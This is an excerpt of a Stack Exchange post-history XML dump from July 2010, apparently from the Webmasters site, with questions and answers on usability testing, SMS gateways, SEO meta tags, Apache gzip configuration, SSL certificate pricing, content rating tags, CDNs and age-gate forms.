  <row Id="965" PostHistoryTypeId="2" PostId="535" RevisionGUID="dd0a4e03-3cff-4890-9aeb-2e125b11fa53" CreationDate="2010-07-09T15:46:54.303" UserId="17" Text="Loaded Question! You will need to conduct user tests. Try reading &quot;Don't make me Think&quot; and &quot;Rocket Surgery Made Easy&quot; by Steve Krug.&#xD;&#xA;&#xD;&#xA;These book are a must read for this topic and will show you how to do the testing. " />
  <row Id="967" PostHistoryTypeId="2" PostId="536" RevisionGUID="dfca7c63-651b-4b29-a753-922545a46228" CreationDate="2010-07-09T15:49:17.453" UserId="55" Text="Have your mother use it. I'm not kidding. Ask her to visit it then tell you what it does, make sure you are nowhere in the vicinity when she tries it. &#xD;&#xA;&#xD;&#xA;Doesn't have to be mom, just someone who doesn't have a technical background and who uses their browser for only a few basic tasks.&#xD;&#xA;&#xD;&#xA;&quot;Hallway testing&quot; is important, but most people in the hallway (if at your office) aren't going to be the people actually using the app. Of course, that does depend on your target audience." />
  <row Id="968" PostHistoryTypeId="2" PostId="537" RevisionGUID="09d03d7f-6db4-46f0-b107-f180507252f5" CreationDate="2010-07-09T15:55:44.923" UserId="41" Text="This is for sending only, but I've used [Penny SMS][1] for a project and had good luck with it. If you happen to be using Ruby, check out the [penny_sms_muncher gem][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pennysms.com/&#xD;&#xA;  [2]: http://github.com/whatbird/penny_sms_muncher" />
  <row Id="969" PostHistoryTypeId="2" PostId="538" RevisionGUID="8df9dc6e-08a2-4d6f-8457-0990a67dbaa4" CreationDate="2010-07-09T16:00:50.847" UserId="55" Text="When you publish something, you of course want page rank, but you also want people to be able to find and use what you publish. It looks like you are considering only keywords when considering meta tags, and I think that is a mistake.&#xD;&#xA;&#xD;&#xA;Language, description and author are equally important. Since it costs only a few lines of HTML to include that, I can't find a good reason not to use them.&#xD;&#xA;&#xD;&#xA;Its wise to not *just* consider search engines when deciding what goes into any given document. The knowledge that the tags are standard and *something* might look for them is (in my opinion) motivation enough to include them." />
  <row Id="970" PostHistoryTypeId="16" PostId="538" RevisionGUID="8df9dc6e-08a2-4d6f-8457-0990a67dbaa4" CreationDate="2010-07-09T16:00:50.847" UserId="-1" />
  <row Id="971" PostHistoryTypeId="5" PostId="460" RevisionGUID="ad0562b6-79c8-46f7-99dc-d6f1c982a2a6" CreationDate="2010-07-09T16:03:14.950" UserId="55" Comment="added 18 characters in body" Text="If you:&#xD;&#xA;&#xD;&#xA; - Make HTML standards compliant pages&#xD;&#xA; - Make semantically correct documents (proper use of heading tags, lists, etc)&#xD;&#xA; - Make sure, as much as possible that all text can be parsed (i.e. try to avoid text in images)&#xD;&#xA; - Make sure all links work and site map(s) exist where appropriate&#xD;&#xA; - Make sure pages load quickly&#xD;&#xA; - Work to get inbound links from respected sites covering the same topic&#xD;&#xA; - Produce content that is useful and interesting to your intended audience&#xD;&#xA;&#xD;&#xA;... your site will do well in almost any search engine, even some that you don't know exist. I was amazed to find that a significant amount of my traffic comes from yandex.ru, and people actually take the time to translate my tutorials once finding them.&#xD;&#xA;&#xD;&#xA;Don't think of them as search engines, think of them as a series of lexical parsers and try to make their job as easy as possible. While their ranking algorithms vary, all of them do the same fundamental tasks of parsing the document structure and the text that it contains." />
  <row Id="972" PostHistoryTypeId="2" PostId="539" RevisionGUID="54c8da72-1907-473f-855e-6afe311b9cd2" CreationDate="2010-07-09T16:07:41.357" UserId="27" Text="I had a friend who managed to implement this via email.  I believe he did it exactly the same way [this site recommends][1]:&#xD;&#xA;&#xD;&#xA;&gt; T-Mobile: *phonenumber*@tmomail.net&lt;br&gt;&#xD;&#xA;&gt; Virgin Mobile: *phonenumber*@vmobl.com&lt;br&gt;&#xD;&#xA;Cingular: *phonenumber*@cingularme.com&lt;br&gt;&#xD;&#xA;&gt; Sprint: *phonenumber*@messaging.sprintpcs.com&lt;br&gt;&#xD;&#xA;&gt; Verizon: *phonenumber*@vtext.com&lt;br&gt;&#xD;&#xA;&gt; Nextel: *phonenumber*@messaging.nextel.com&lt;br&gt;&#xD;&#xA;&gt; &#xD;&#xA;&gt; where *phonenumber* = your 10 digit phone number&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tech-recipes.com/rx/939/sms_email_cingular_nextel_sprint_tmobile_verizon_virgin/" />
  <row Id="973" PostHistoryTypeId="2" PostId="540" RevisionGUID="8133262e-2e04-43b2-a105-91cd461fa145" CreationDate="2010-07-09T16:10:13.650" UserId="130" Text="There are some great answers to this already over at Stack Overflow: http://stackoverflow.com/questions/2254027/which-browsers-support-the-embed-and-object-tags" />
  <row Id="974" PostHistoryTypeId="2" PostId="541" RevisionGUID="dc7f51c5-2d8a-403a-83b3-9cadfbd31038" CreationDate="2010-07-09T16:11:35.397" UserId="27" Text="Is there some setting that I can search for in Apache configurations to make sure that all pages, CSS, and JavaScript are sent via gzip?&#xD;&#xA;&#xD;&#xA;Are they located in different places for different Operating Systems (if so, I am running Debian)." />
  <row Id="975" PostHistoryTypeId="1" PostId="541" RevisionGUID="dc7f51c5-2d8a-403a-83b3-9cadfbd31038" CreationDate="2010-07-09T16:11:35.397" UserId="27" Text="How do I ensure that my content is sent via gzip in Apache?" />
  <row Id="976" PostHistoryTypeId="3" PostId="541" RevisionGUID="dc7f51c5-2d8a-403a-83b3-9cadfbd31038" CreationDate="2010-07-09T16:11:35.397" UserId="27" Text="&lt;apache&gt;&lt;gzip&gt;" />
  <row Id="977" PostHistoryTypeId="2" PostId="542" RevisionGUID="4959ffb6-387d-485b-95b8-133e056c3cfd" CreationDate="2010-07-09T16:11:44.367" UserId="210" Text="I've been using [Twilio][1] for [voice][2] and I've been quite impressed. I'm sure their [SMS][3] system isn't much different.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.twilio.com/&#xD;&#xA;  [2]: http://www.twilio.com/how-twilio-works&#xD;&#xA;  [3]: http://www.twilio.com/sms/" />
  <row Id="978" PostHistoryTypeId="2" PostId="543" RevisionGUID="579c66e5-cc13-4585-a19f-eb88fa5b4772" CreationDate="2010-07-09T16:17:43.050" UserId="210" Text="I put the following in my httpd.conf and it seems to work:&#xD;&#xA;&#xD;&#xA;      # 20100709 added etag code&#xD;&#xA;      FileETag MTime Size&#xD;&#xA;    &#xD;&#xA;      # 20100709 added compression START&#xD;&#xA;    &#xD;&#xA;      # Insert filter&#xD;&#xA;      SetOutputFilter DEFLATE&#xD;&#xA;    &#xD;&#xA;      # Netscape 4.x has some problems...&#xD;&#xA;      BrowserMatch ^Mozilla/4 gzip-only-text/html&#xD;&#xA;    &#xD;&#xA;      # Netscape 4.06-4.08 have some more problems&#xD;&#xA;      BrowserMatch ^Mozilla/4\.0[678] no-gzip&#xD;&#xA;    &#xD;&#xA;      # MSIE masquerades as Netscape, but it is fine&#xD;&#xA;      # BrowserMatch \bMSIE !no-gzip !gzip-only-text/html&#xD;&#xA;    &#xD;&#xA;      # NOTE: Due to a bug in mod_setenvif up to Apache 2.0.48&#xD;&#xA;      # the above regex won't work. You can use the following&#xD;&#xA;      # workaround to get the desired effect:&#xD;&#xA;      BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html&#xD;&#xA;    &#xD;&#xA;      # Don't compress images&#xD;&#xA;      SetEnvIfNoCase Request_URI \&#xD;&#xA;      \.(?:gif|jpe?g|png)$ no-gzip dont-vary&#xD;&#xA;    &#xD;&#xA;      # Make sure proxies don't deliver the wrong content&#xD;&#xA;      Header append Vary User-Agent env=!dont-vary&#xD;&#xA;    &#xD;&#xA;      # 20100709 added compression END&#xD;&#xA;&#xD;&#xA;" />
  <row Id="979" PostHistoryTypeId="2" PostId="544" RevisionGUID="ceec01db-71e4-4afe-b730-a0e0427cf763" CreationDate="2010-07-09T16:17:58.527" UserId="61" Text="Install ySlow in Firefox and it will tell you which items are being gzipped. " />
  <row Id="980" PostHistoryTypeId="5" PostId="543" RevisionGUID="77bea6ba-22ec-42d0-b10d-72de40c4526d" CreationDate="2010-07-09T16:23:44.793" UserId="210" Comment="added 111 characters in body" Text="I put the following in my httpd.conf and it seems to work:&#xD;&#xA;&#xD;&#xA;      # 20100709 added etag code&#xD;&#xA;      FileETag MTime Size&#xD;&#xA;    &#xD;&#xA;      # 20100709 added compression START&#xD;&#xA;    &#xD;&#xA;      # Insert filter&#xD;&#xA;      SetOutputFilter DEFLATE&#xD;&#xA;    &#xD;&#xA;      # Netscape 4.x has some problems...&#xD;&#xA;      BrowserMatch ^Mozilla/4 gzip-only-text/html&#xD;&#xA;    &#xD;&#xA;      # Netscape 4.06-4.08 have some more problems&#xD;&#xA;      BrowserMatch ^Mozilla/4\.0[678] no-gzip&#xD;&#xA;    &#xD;&#xA;      # MSIE masquerades as Netscape, but it is fine&#xD;&#xA;      # BrowserMatch \bMSIE !no-gzip !gzip-only-text/html&#xD;&#xA;    &#xD;&#xA;      # NOTE: Due to a bug in mod_setenvif up to Apache 2.0.48&#xD;&#xA;      # the above regex won't work. You can use the following&#xD;&#xA;      # workaround to get the desired effect:&#xD;&#xA;      BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html&#xD;&#xA;    &#xD;&#xA;      # Don't compress images&#xD;&#xA;      SetEnvIfNoCase Request_URI \&#xD;&#xA;      \.(?:gif|jpe?g|png)$ no-gzip dont-vary&#xD;&#xA;    &#xD;&#xA;      # Make sure proxies don't deliver the wrong content&#xD;&#xA;      Header append Vary User-Agent env=!dont-vary&#xD;&#xA;    &#xD;&#xA;      # 20100709 added compression END&#xD;&#xA;&#xD;&#xA;This website has a great tester for seeing if your page is GZIP'd: &lt;http://www.whatsmyip.org/http_compression/&gt;" />
  <row Id="981" PostHistoryTypeId="2" PostId="545" RevisionGUID="5d9b6278-df44-4079-b821-882da89aba59" CreationDate="2010-07-09T16:30:06.020" UserId="42" Text="&quot;My question is, what makes a $10 certificate better than a $100 certificate?&quot;&#xD;&#xA;&#xD;&#xA;The answer is nothing.  A cert is a cert is a cert (since you don't care about &quot;Brand Recognition&quot;), so without EV packages a cert is just a commodity. &lt;a href=&quot;http://blog.ablecommerce.com/what-are-extended-validation-ssl-certificates-and-are-they-worth-the-cost&quot;&gt;This explains the history quite nicely.&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I do think, however, that brand recognition could be important to some users, but if you are certain you are a trusted source, then I wouldn't worry about it." />
  <row Id="982" PostHistoryTypeId="2" PostId="546" RevisionGUID="06bf2cc2-89b0-4d3f-ade2-bfdf71838fea" CreationDate="2010-07-09T16:39:32.657" UserId="210" Text="I asked the same thing of [DigiCert][1] the other day: why is are a lot of certificates so much cheaper than yours (~$25 vs ~$100 per year)? Here is the answer they gave me (in my words): The other companies only verify your domain name (that the person getting the certificate owns the domain name) whereas DigiCert (and others) verify the company behind the domain name. This means they need to check the corporate registry in your country to verify that your company exists and that you are related to company some how. This often also requires a phone call and some other checks. Without this check, all that is required is a computer to verify the whois record with the information entered.&#xD;&#xA;&#xD;&#xA;So, in my assessment, if you're going to be using the certificate on a site where the customer is paying for something or entering their personal information, then a more expensive certificate is better. If you're just using the site internally (within the company) then a cheaper certificate is probably all you need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.digicert.com/" />
  <row Id="983" PostHistoryTypeId="2" PostId="547" RevisionGUID="63e1c9aa-43b5-48ab-9018-2051e1c5217c" CreationDate="2010-07-09T16:42:35.710" UserId="141" Text="&gt; &quot;My question is, what makes a $10&#xD;&#xA;&gt; certificate better than a $100&#xD;&#xA;&gt; certificate?&quot;&#xD;&#xA;&#xD;&#xA;Most of the time the most expensive the certificate the oldest the certification company is. Since the list of trusted companies ships with the browser, an advantage of using a more expensive certificate is that it will be trusted by old browsers.&#xD;&#xA;&#xD;&#xA;For example, maybe a $10 certificate isn't trusted by IE5.&#xD;&#xA;&#xD;&#xA;But that's about it." />
  <row Id="984" PostHistoryTypeId="2" PostId="548" RevisionGUID="8d9afdf6-81be-4a7b-9155-e0c5126e2bd7" CreationDate="2010-07-09T16:49:09.197" UserId="212" Text="As a responsible webmaster I want to mark some of my content as unsuitable for certain age groups, there's nothing illegal or pornographic but it does feature bad language and violence that might be unsuitable for children, mostly in images so a text parser won't pick it up.  Is there a standard that internet filtering software will recognise?&#xD;&#xA;&#xD;&#xA;Obviously, I appreciate that nothing is going to stop children viewing the content if they are just using a vanilla browser on an open connection but if there is a content rating standard then I'd like to use it to help those able to honour it." />
  <row Id="985" PostHistoryTypeId="1" PostId="548" RevisionGUID="8d9afdf6-81be-4a7b-9155-e0c5126e2bd7" CreationDate="2010-07-09T16:49:09.197" UserId="212" Text="Are there any standards for marking the age suitability for website content?" />
  <row Id="986" PostHistoryTypeId="3" PostId="548" RevisionGUID="8d9afdf6-81be-4a7b-9155-e0c5126e2bd7" CreationDate="2010-07-09T16:49:09.197" UserId="212" Text="&lt;best-practice&gt;&lt;content&gt;&lt;standards&gt;" />
  <row Id="987" PostHistoryTypeId="2" PostId="549" RevisionGUID="ebde2d29-2eac-4548-8679-1795cca2301c" CreationDate="2010-07-09T16:54:23.900" UserId="130" Text="I don't think it offers age tagging per-se, the ICRA system offers &quot;suitability&quot; tagging that may be worth considering: http://www.icra.org/webmasters/" />
  <row Id="988" PostHistoryTypeId="2" PostId="550" RevisionGUID="24b3e49c-7dc9-41cc-b775-d15948fad580" CreationDate="2010-07-09T17:01:21.720" UserId="130" Text="You can use this site to get a quick overview of compliance: http://wave.webaim.org/&#xD;&#xA;&#xD;&#xA;It performs a similar job to the old &quot;Bobby&quot; system that got shut down a couple of years ago." />
  <row Id="989" PostHistoryTypeId="2" PostId="551" RevisionGUID="d115137b-8b7a-42ee-9ed2-da970c039ed4" CreationDate="2010-07-09T17:04:10.157" UserId="72" Text="As your site grows, it will be easier to manage if your display is separated from your code. You want to modify the design ? It's all separated, you don't have to worry about the code in the HTML. You want to modify the way data are calculated ? It's all separated, you don't have to worry about the HTML in the code.&#xD;&#xA;&#xD;&#xA;Your code will also be easier to read and if you want to add other people to the project later, it's easier for them if your code is separated from your HTML.&#xD;&#xA;&#xD;&#xA;Once you are used to MVC development, it doesn't really take more time to develop than &quot;normal&quot; development." />
  <row Id="990" PostHistoryTypeId="2" PostId="552" RevisionGUID="1d91302b-d434-4b4b-a2a0-239399dcc8bb" CreationDate="2010-07-09T17:54:16.483" UserId="67" Text="According to Google &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=80472&quot;&gt;Creating a Video Sitemap&lt;/a&gt;, you can can also create an &lt;a href=&quot;http://video.search.yahoo.com/mrss&quot;&gt;Media RSS (MRSS)&lt;/a&gt; feed and the cross-domain restriction won't apply. You can submit this MRSS feed to Webmaster Tools, etc.&#xD;&#xA;&#xD;&#xA;And I don't think you'll need to grab the FLV of the Youtube video either." />
  <row Id="991" PostHistoryTypeId="2" PostId="553" RevisionGUID="6c8a0737-516d-4019-9da9-5c0977018180" CreationDate="2010-07-09T18:02:19.227" UserId="67" Text="You can add a &lt;a href=&quot;http://www.safesurf.com/classify/&quot;&gt;SafeSurf&lt;/a&gt; META tag to your header, with a form available at that link to generate the appropriate tag. &#xD;&#xA;&#xD;&#xA;&gt;   Include this Rating Tag as part of&#xD;&#xA;&gt; your site's HTML code to make it&#xD;&#xA;&gt; compliant with the requirements for a&#xD;&#xA;&gt; safe Internet without censorship.  &#xD;&#xA;&gt; Once rated, family-safe sites can be&#xD;&#xA;&gt; listed with search engines that only&#xD;&#xA;&gt; list rated sites.   It is also very&#xD;&#xA;&gt; important for Adult oriented sites to&#xD;&#xA;&gt; rate themselves to better enable&#xD;&#xA;&gt; filtering software to protect&#xD;&#xA;&gt; children." />
  <row Id="992" PostHistoryTypeId="16" PostId="553" RevisionGUID="6c8a0737-516d-4019-9da9-5c0977018180" CreationDate="2010-07-09T18:02:19.227" UserId="67" />
  <row Id="993" PostHistoryTypeId="6" PostId="548" RevisionGUID="f6db8b11-2326-40ab-8c76-b1b131821eb5" CreationDate="2010-07-09T18:02:46.513" UserId="67" Comment="edited tags" Text="&lt;best-practice&gt;&lt;content&gt;&lt;standards&gt;&lt;safesurf&gt;" />
  <row Id="994" PostHistoryTypeId="2" PostId="554" RevisionGUID="98df96e8-d616-4408-a89b-70ec02d4ed0e" CreationDate="2010-07-09T18:05:20.547" UserId="67" Text="There's not even a close second to &lt;a href=&quot;http://www.marketsamurai.com/&quot;&gt;Market Samurai&lt;/a&gt;. Everything else just pales in comparison to the depth and awesomeness of this app." />
  <row Id="995" PostHistoryTypeId="2" PostId="555" RevisionGUID="1fb2535d-7f63-4320-97a8-bb62bf4686eb" CreationDate="2010-07-09T18:08:23.287" UserId="67" Text="Google Alerts typically only show the newest posts/pages that the crawler finds. If your pages are old, they won't show up." />
  <row Id="996" PostHistoryTypeId="5" PostId="441" RevisionGUID="f43a5ad4-8782-4cc3-bcc9-c744a19a1515" CreationDate="2010-07-09T18:11:48.303" UserId="179" Comment="since I can add more links now, I can finally add the answer I typed up last night before I had any rep." Text="Smashing Magazine did 2 great articles on &lt;a href=&quot;http://www.smashingmagazine.com/2009/07/15/clever-png-optimization-techniques/&quot;&gt;PNG Optimization&lt;/a&gt; and &lt;a href=&quot;http://www.smashingmagazine.com/2009/07/01/clever-jpeg-optimization-techniques/&quot;&gt;JPG optimization&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;They're quite in-depth, explaining in great detail some things you may not know about the formats and their implementations. For example, the JPEG article: &quot;Keep in mind that when you set the Quality to under 50 in Photoshop, it runs an additional optimization algorithm called color down-sampling, which averages out the color in the neighboring eight-pixel blocks&quot;.&#xD;&#xA;&#xD;&#xA;Both articles go into specific techniques you can use in Photoshop to prep your files for greater compression. Which is vastly more effective than techniques used after a file has been saved.&#xD;&#xA;&#xD;&#xA;After you've saved these files, or on files you aren't lucky enough to have layered source files for to tweak in Photoshop, there's still more compression to wring out of these files.&#xD;&#xA;&#xD;&#xA;I use a Mac app called &lt;a href=&quot;http://imageoptim.pornel.net/&quot;&gt;ImageOptim&lt;/a&gt;. From their site:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;ImageOptim optimizes images — so they take up less disk space and load faster — by finding best compression parameters and by removing unnecessary comments and color profiles. It handles PNG, JPEG and GIF animations.&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;ImageOptim provides GUI for various optimisation tools: &lt;a href=&quot;http://advancemame.sourceforge.net/comp-download.html&quot;&gt;AdvPNG&lt;/a&gt; from AdvanceCOMP, &lt;a href=&quot;http://optipng.sourceforge.net/&quot;&gt;OptiPNG&lt;/a&gt;, &lt;a href=&quot;http://pmt.sourceforge.net/pngcrush/&quot;&gt;PngCrush&lt;/a&gt;, &lt;a href=&quot;http://www.kokkonen.net/tjko/projects.html&quot;&gt;JpegOptim&lt;/a&gt;, jpegtran from libjpeg, &lt;a href=&quot;http://www.lcdf.org/gifsicle/&quot;&gt;Gifsicle&lt;/a&gt; and optionally &lt;a href=&quot;http://www.advsys.net/ken/util/pngout.htm&quot;&gt;PNGOUT&lt;/a&gt;.&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;It's excellent for publishing images on the web (easily shrinks images “Saved for Web” in Photoshop) and also useful for making Mac and iPhone applications smaller.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Piece of cake. Drag your images (or image folders) onto the window, it runs through all of these tools tweaking compression schemes and removing unnecessary meta-data and color profile information (which aren't widely supported anyway – you should be fixing color profiles before saving, not saving and embedding them).&#xD;&#xA;&#xD;&#xA;All of the tools linked in that quote have Windows/Linux/Mac versions except PNGOUT, but thankfully somebody ported &lt;a href=&quot;http://www.jonof.id.au/kenutils&quot;&gt;PNGOUT&lt;/a&gt; to OS X and linux because they're so thoughtful. If you choose to use ImageOptim, it will include all but PNGOUT in the .app, so grab the PNGOUT port, drop it in /usr/local/bin (or wherever) and tell ImageOptim where it's at. &#xD;&#xA;&#xD;&#xA;It isn't uncommon for me, especially with PNG images, to see file sizes drop over 30% even after saving through Photoshop's &quot;Save For Web &amp; Devices&quot;.&#xD;&#xA;&#xD;&#xA;Protip: After running the optimization, sort by the icon column on the left and select all the rows with the (X) icon – files that were not reduced any further. Remove them from the list, and rerun on all images that have the check-mark icon. I can almost promise you that you will have images that still lose file size. Repeat the sorting, selecting, removing, rerunning until you get all (X) icons and call it a day." />
  <row Id="997" PostHistoryTypeId="2" PostId="556" RevisionGUID="5123e0ad-e39c-4d03-8d3d-15ce12dde770" CreationDate="2010-07-09T18:24:02.570" UserId="97" Text="There's also the issue where some browsers pick out a lot of perfectly fine SSL certificates and marks them as potentially unsafe.  This is due in part around what Darryl said (increased diligence on the part of the SSL vendor to confirm who you are).  It's not that the security itself is really any different, it's just intended to provide a better layer of trust.&#xD;&#xA;&#xD;&#xA;There's also things like management capability (I can issue and re-issue certs to my hearts content without delay, which has been very handy when domain names suddenly become different), and other perks which can improve your experience.  But if the $10 version does what you need, and your customers don't care who the cert is from, then go for it.&#xD;&#xA;&#xD;&#xA;As time goes on you may find that you're changing vendors simply because the landscape of your web presence is changing, so considering that now before you start is important." />
  <row Id="998" PostHistoryTypeId="2" PostId="557" RevisionGUID="3ef23e91-9709-4c40-af11-836c66f39ba7" CreationDate="2010-07-09T18:32:56.593" UserId="182" Text="The best way to find out how user friendly your site is, is to run usability tests.&#xD;&#xA;&#xD;&#xA;This is a very big area, and for very high profiled webpages, is done in special created usability testing labs, that can track eye movement, while recording the session.&#xD;&#xA;&#xD;&#xA;###The test###&#xD;&#xA;But you can make your own usability tests yourself, cheap and useful. More cheap tests is usually better than one expensive test. And you want to test your website before it's all done, so you can alter design and functionality that users don't understand early in the process. what's important to get a useful test, is to give your subject a task, and ask him or her to explain what they are thinking, and why they are doing what they are doing. You will sometimes be very surprised how people react in a way you didn't anticipate. Remember to take notes, if you don't record the test.&#xD;&#xA;&#xD;&#xA;###The subjects###&#xD;&#xA;For most websites, ordinary people will be the best audience. If you make something that require a special knowledge, like a statistical analysis tool, you should try to hand pick the subjects. If you have trouble finding people, you can _hire_ them to come in and test your website and pay them $20-50." />
  <row Id="999" PostHistoryTypeId="2" PostId="558" RevisionGUID="91cae8f3-2634-4339-97fd-337e978dfe8c" CreationDate="2010-07-09T18:35:02.093" UserId="179" Text="A related question here: &lt;a href=&quot;http://webmasters.stackexchange.com/questions/310/html-validation-is-it-worth-it/455#455&quot;&gt;HTML Validation: Is It Worth It?&lt;/a&gt;. I bring this up since you mentioned you're upset with the invalid markup. Markup semantics are more important than markup validity in my opinion, and generally this can only be done properly by a human – &lt;i&gt;especially&lt;/i&gt; with all the new elements presented by HTML5.&#xD;&#xA;&#xD;&#xA;Jeffery Zeldman recently posted an article about this very subject: &lt;a href=&quot;http://www.zeldman.com/2010/07/05/an-indesign-for-html-and-css/&quot;&gt;An InDesign for HTML and CSS&lt;/a&gt;. Inspired by talk from certain people at Adobe, he posits that no WYSIWYG editor can create meaningful and semantic markup anymore than a computer program can compose meaningful and emotional music.&#xD;&#xA;&#xD;&#xA;If you choose to stick with Dreamweaver and use its code view (which is what I used for quite a while, it's very good) you should consider upgrading to CS5. Adobe, given all the Flash hate, has gone to great lengths to improve the quality of the code that it generates. They have also created the &lt;a href=&quot;http://labs.adobe.com/technologies/html5pack/&quot;&gt;HTML5 Pack&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;This extension provides initial support for HTML5 and CSS3 in Adobe Dreamweaver CS5, and helps you easily create HTML5 pages and CSS3 styles. It also includes updates and WebKit improvements for Design View and Live View rendering.&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;While HTML5 and CSS3 will not be finalized for some time, the extension provides support for a set of currently-implemented features.&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;This extension enhances Dreamweaver CS5 in the following ways:&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;Introduces the Multiscreen Preview panel , allowing for Live View display on 3 different screen sizes, with Media Query support. (Window &gt; Multiscreen Preview)&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Adds code hinting for the HTML5 Tag Library with new tags, attributes, and properties.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Updates code hinting for new attributes and values in existing HTML tags.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Adds code hinting for the following CSS3 specifications: 2D/3D Transformations; Animations; Background and Border; Basic User Interface; Line Layout; Marquee; Media Queries; MultiColumn; Ruby; Text; and Transitions.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Updates Live View to support &lt;video&gt; and &lt;audio&gt;. (Requires Quicktime installation.)&lt;/audio&gt;&#xD;&#xA;&lt;li&gt;Improved rendering for CSS3 in Live View.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Adds HTML5 starter layouts to the New Document Dialog box.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Offers better rendering for new tags in Design View.&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Dreamweaver has been around much longer than most of its competitors, and is a solid program, and if you choose to stick with using the WYSIWYG editor you won't get much better out of any other apps." />
  <row Id="1000" PostHistoryTypeId="2" PostId="559" RevisionGUID="9ec4bd05-f3b2-4506-b5fe-4c0a348e9f50" CreationDate="2010-07-09T18:50:35.793" UserId="26" Text="When did you decide to use a Content Delivery Network?&#xD;&#xA;&#xD;&#xA;How did you measure the &quot;success&quot; of using a CDN to help justify the additional cost?&#xD;&#xA;" />
  <row Id="1001" PostHistoryTypeId="1" PostId="559" RevisionGUID="9ec4bd05-f3b2-4506-b5fe-4c0a348e9f50" CreationDate="2010-07-09T18:50:35.793" UserId="26" Text="When did you decide to use a CDN? How did you measure the &quot;success&quot; of using a CDN?" />
  <row Id="1002" PostHistoryTypeId="3" PostId="559" RevisionGUID="9ec4bd05-f3b2-4506-b5fe-4c0a348e9f50" CreationDate="2010-07-09T18:50:35.793" UserId="26" Text="&lt;server&gt;&lt;cdn&gt;" />
  <row Id="1003" PostHistoryTypeId="2" PostId="560" RevisionGUID="9f13bb29-2a00-4f1a-b191-24ef508db858" CreationDate="2010-07-09T18:56:21.990" UserId="213" Text="I've noticed that many beer and spirits companies often require you to enter your date of birth before entering their site (ex. [Budweiser.com][1]).&#xD;&#xA;&#xD;&#xA;Is this form legally required? Or is it just a popular convention?&#xD;&#xA;&#xD;&#xA;If it isn't legally required/recommended, wouldn't it be a bad idea to funnel users through a form like this, just to see the content of your site?&#xD;&#xA;&#xD;&#xA;  [1]: http://budweiser.com/public/agecheck.aspx" />
  <row Id="1004" PostHistoryTypeId="1" PostId="560" RevisionGUID="9f13bb29-2a00-4f1a-b191-24ef508db858" CreationDate="2010-07-09T18:56:21.990" UserId="213" Text="Are date of birth forms necessary for alcoholic websites?" />
  <row Id="1005" PostHistoryTypeId="3" PostId="560" RevisionGUID="9f13bb29-2a00-4f1a-b191-24ef508db858" CreationDate="2010-07-09T18:56:21.990" UserId="213" Text="&lt;legal&gt;" />
  <row Id="1006" PostHistoryTypeId="5" PostId="32" RevisionGUID="5d88caf8-af9c-43a4-9872-cc17185235e0" CreationDate="2010-07-09T18:58:05.700" UserId="40" Comment="deleted 1 characters in body" Text="A quite good, while not perfect way is to create the e-mail address via javascript. Most spiders looking for e-mails do not execute javascript, and hence do not find a readable e-mail address.&#xD;&#xA;&#xD;&#xA;[Here][1] is just one example how it could be done.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://joemaller.com/js-mailer.shtml" />
  <row Id="1007" PostHistoryTypeId="2" PostId="561" RevisionGUID="06e08c42-cdbe-42f1-89fd-d1625ffff1bf" CreationDate="2010-07-09T18:58:09.520" UserId="19" Text="We decided to use **[Amazon S3][1]** when we built a web app which delivers Gigabytes of HD photos and videos to our subscribers. It was an absolute no-brainer for us. The cost savings were outrageous. We have had two service outages with S3 (along with every other web startup who uses S3). They weren't disastrous.&#xD;&#xA;&#xD;&#xA;Then we added **[CloudFront][2]** on top of it it just confirmed the awesomeness of using a CDN like S3.&#xD;&#xA;&#xD;&#xA;Once you get over the learning curve of how to use S3 from a programmatic perspective it is such an awesome resource to have available.&#xD;&#xA;&#xD;&#xA;We also use S3 on a few of our high-traffic consulting websites to host video and large images and that has brought costs down too. Not only costs, but with CloudFront, user experience has improved.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com/s3/&#xD;&#xA;  [2]: http://aws.amazon.com/cloudfront/&#xD;&#xA;  [3]: http://aws.amazon.com/cloudfront/" />
  <row Id="1008" PostHistoryTypeId="2" PostId="562" RevisionGUID="6baf8237-406c-4508-adcd-3a63bac37da2" CreationDate="2010-07-09T19:06:52.093" UserId="19" Text="I couldn't find any resources that stated that those forms are legally required.&#xD;&#xA;&#xD;&#xA;Here's an article on the FTC website which talks about how alcohol companies have used this technique as a way to adhere to some industry guidelines.&#xD;&#xA;&#xD;&#xA;http://www.ftc.gov/reports/alcohol/alcoholreport.shtm#bOnline%20Advertising" />
